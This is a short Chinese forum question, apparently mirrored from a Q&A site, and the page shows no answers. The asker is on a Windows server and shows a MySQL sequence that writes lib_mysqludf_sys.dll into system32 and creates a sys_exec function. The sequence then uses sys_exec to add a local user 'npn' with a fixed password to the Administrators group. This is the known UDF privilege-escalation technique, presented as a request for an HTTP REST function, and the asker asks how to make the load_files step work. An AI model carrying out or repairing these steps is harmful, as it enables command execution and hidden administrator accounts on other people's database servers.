用于Windows中HTTP REST的用户定义函数(UDF)

时间:2015-04-02 14:34:58

标签: mysql windows plugins user-defined-functions windows-server-2008-r2

我有 windows 2008 r2 server pc , 我尝试命令执行mysql查询,如下所示:

USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_files('C://xampplite//htdocs//mail//lib_mysqludf_sys.dll'));
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

问题出现在第3行:

  

INSERT INTO npn values(load_files('C://xampplite//htdocs//mail//lib_mysqludf_sys.dll'));

问题:

  • 如何定义load_files函数?
  • 我使用的路径代替C://xampplite//htdocs//mail//lib_mysqludf_sys.dll
  • 这些步骤仅适用于Linux Server。如何为Windows服务器定义HTTP REST的MySQL用户定义函数(UDF)?

0 个答案:

没有答案